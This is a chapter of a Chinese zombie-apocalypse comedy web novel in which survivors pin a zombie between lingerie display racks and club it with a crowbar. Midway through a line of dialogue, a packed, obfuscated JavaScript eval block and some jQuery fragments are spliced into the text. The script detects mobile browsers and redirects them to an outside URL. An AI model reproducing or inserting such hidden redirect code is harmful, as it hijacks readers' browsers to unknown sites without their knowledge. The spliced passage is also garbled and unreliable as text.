丧尸张嘴的速度太快,鹿沅之的手又近在脸边,眼看就要啃上——刹那间,一只手迅速捅进它大张的嘴里,塞了个严严实实!
下一秒,血液飞溅!
“郝……”郝若的话还没说完,就被高瑞阳打断:“郝三千,你是不是虎啊!”
站着的三个人冲到跟前,心惊胆战地齐齐低头,眼珠瞪得溜圆。
郝斌用另一只手擦汗,他脸色惨白,下唇哆嗦:“哈哈——这不是没办法了嘛……现在该怎么办啊啊啊啊!!!”
按住丧尸手腕的手根本不敢动,血肉模糊的手在眼底摇晃,晕出一片红色,郝斌开始胡言乱语:“啊哈哈哈,我就说丧尸会嗦手指吧,虽然不是主动的,哈哈哈哈,它还是可能啃自己的嘛,啧,我的速度还是挺快的……”
毕笙捡起脚边的内衣,用衣架戳戳弄弄,垫在鹿沅之和丧尸被啃的那只手之间——郝斌没傻到用自己的手去拼丧尸的牙齿,所以他选择用丧尸的手去拼。
于是丧尸蹭开“头盔”,以雷霆破万钧之势啃向身后那个食物,结果一口叨在自己手上!
尸生之耻!
丧尸疯狂扭动,一条半腿乱蹬,两条胳膊……一条被高瑞阳死死压制,另一条胳膊被折在胸前,怼进嘴里。
它的头拼命向前拱,脖子伸长,鹿沅之转动撬棍,顺势往丧尸的下巴一顶!
丧尸的脑袋上偏,光溜溜的脖颈暴露在人前,看得郝若和刀永思蠢蠢欲动,手里的斧头和园艺大剪刀跃跃欲试。
“这特么怎么打?!”刀永思握着园艺大剪刀,一时之间不知道怎么下手。
丧尸跟鹿沅之贴得太近了!
被长发裹住的铜头上下猛蹭,一路火花带闪电在鹿沅之的前胸来回碾压!
“原,原计划,”鹿沅之眼冒金星,“快,我要着了!”
李司不敢靠近那群变态,暗戳戳地竖起耳朵偷听,“原计划”“准备”“等等”“给丧尸”“包扎”几个词飘渺地钻入耳朵里。
“王,你好没?”他眼珠没动,低声问一边捣鼓门的王午。
王午不死心地扯了又扯门把:“不行!他们把门锁了!”
两个人嘀嘀咕咕地说了半天,谁知道前面那群人突然散开,一声嘶哑沉闷的呼噜声炸响,李司和王午浑身的汗毛炸翻,心脏瞬间痉挛,冷汗畅快地淌下!
透过人群的缝隙——主要是身高优势,他们能清楚地看到那只感染者已经摇摇晃晃地站起来,朝一边的矮个子男人扑去!
“啊啊啊啊——”郝斌绕收银台走,闪身躲开丧尸的扑打,上蹿下跳地崩溃哀嚎,“怎么追我!你不是鹿姐的死忠粉嘛!”
“那就你来,还是按计划!”
“快快快!”其他人看得心惊肉跳,七嘴八舌地催促。
郝斌嘴上大呼小叫,走位异常灵活,再加上两边郝若和毕笙连连出手阻挠,丧尸和他的距离越来越远,最后一头扎进铺满仅剩直立的内衣中岛展示架里。
丧尸紧追其后,叼着一只手——毕笙灵机一动,用内衣给丧尸绑上的胳膊吊带,因此某只丧尸还是嗦手的姿势……
“它这姿势,有点不好受力啊!”在丧尸一头扎进内衣林里前,被高瑞阳的扫堂腿绊得一个踉跄,他吐槽。
扑腾!
只见丧尸半个脑袋戳到内衣帘里,大半身体斜立在内衣帘外,顷刻间闪出了迈克尔·杰克逊的经典姿势——反重力倾斜!
“不是儿,”从展示架后绕出来的郝斌看着张牙舞爪追上来的毕笙、刀永思,蹲在地上做拉伸的高瑞阳,又转头望顶着展示架往前移动的丧尸,嘴角抽搐。
“你们到底在干啥!我舍生忘死,你们跟丧尸跳舞?!”
鹿沅之扛起撬棍,越过几个人冲到丧尸身后,她抬脚重重踹上丧尸的后腰!
砰!
与地面呈六十度夹角的丧尸轰然撞上墙壁!
鹿沅之再次跨步,伸手拽住丧尸背部的衣服,后拉,前撞!
砰!
展示架的金属支架发出细密的嗡鸣,须臾,支架与墙边的缝隙里传出滞闷,断断续续的声音。
“咔,咳咳咳……”
手从各种淡色的布料中扬起,扒住展示架顶部的金属条!
半流体的暗红色液体在手背上蠕动,伤口绽开,血肉软糜,灰白的眼珠从手背后升起,因为距离近,鹿沅之能清楚地看到它眼底的青色线条。
线条膨胀,收缩,膨胀……
鹿沅之的眼珠微动,慢慢上移,目光落在丧尸眉心深邃的暗红血洞上。
成功了……
半个身体钻过展示架的丧尸已经拧过身体,它朝最近的鹿沅之伸出胳膊,嘶吼凄厉,涎水混着血水从嘴角淌下!
咚!咚!
两声撞击几乎同时响起,倒在地上的另两个展示架被抬起,毕笙和高瑞阳推着两个展示架风驰电掣地冲向丧尸!
两个展示架呈九十度撞上卡住丧尸的展示架,刀永思、郝斌也帮忙摁着展示架,死死压制住丧尸。
郝若抽出斧头,冲着丧尸的后腰一个劲儿怼:“背挺直!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934310|186677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挺直!”
门口的李司神情安详,碎碎念:“王啊,看那个感染者的造型,我想到我媳妇她弟学的一篇课文,钉子拔了,伤口还在,叫小孩不要随便乱发脾气……你看放在感染者身上也适用!”
王午的表情五颜六色,他露出牙疼的神色:“算我求你,正常点吧!”
“呵呵,王啊,”李司挤出一个比哭还狰狞的笑,“你觉得我们还能活嘛?他们这么咵嚓两下,给那玩意身上钻几个洞,你看咱俩,能挺几个洞?”
看似冷静的王午认真地思考片刻:“额,说不定我大概能当个入门和尚。”
“啥?”
“头顶三个洞……”
当、当、当!
撬棍在空中挥舞,金属棍上的螺旋花纹扭曲着吹拂过的空气,发出细微,刺耳的破风声!
鹿沅之的手臂大开大合,以挥舞高尔夫球棍的动作,击打丧尸的脑壳。
丧尸被死死卡在墙壁和为它量身定做的展示架之间,它那条被自己咬伤了手背的胳膊伸不出来,只能夹在胸前和展示架间。
另一条胳膊探到缝隙外,但撬棍挥来的速度太快,仅凭一只手,它根本抓不住,上半身翻转的姿势又不利于她发力,只能怒吼着认打!
丧尸脑后这面墙壁上的内衣全部被取走,但洞洞板上数排支架仍整齐地排列,亮银色的金属支架泛出凛冽的光芒。
鹿沅之转了转泛酸的胳膊,她之前禁锢住丧尸那么长时间,撬棍的重量又在这里,已经有些力竭。
她抬起胳膊,肩膀周围的位置就汪洋着酥到骨子里的酸涩。
而且……
“有没有凳子,”
鹿沅之皱眉,就算她不矮,但想打中丧尸的头部,每次都需要扬起胳膊,这样挥舞出的撬棍,力道和速度都大大减弱,“得踩个高东西。”
门口的两个人又怕又好奇,正探头探脑地够着脖子,突然看到那个长得忒长一条的姑娘转头,左顾右盼,最后对上他们的视线,然后她朝他俩招了招手。
踩着两条粗壮的大腿“登基”,鹿沅之看向那张狰狞的脑袋,从后脑溢出的血液淋湿了它大半边脖颈,丧尸嘴角那条伤口撕裂,糜烂的□□里挤出一撮一撮絮状黑色物质。
丧尸仰脸嘶吼,骨节凸起,暗色的静脉从手背蜿蜒至甲床下,把食指染成深淤色。极致的白和青黑交缠,透着让人战栗的不适感。
它快不行了,一定快不行了。
撬棍被举起,悬在耳边,鹿沅之缓缓吐出一口气,冲那张脸重重砸下!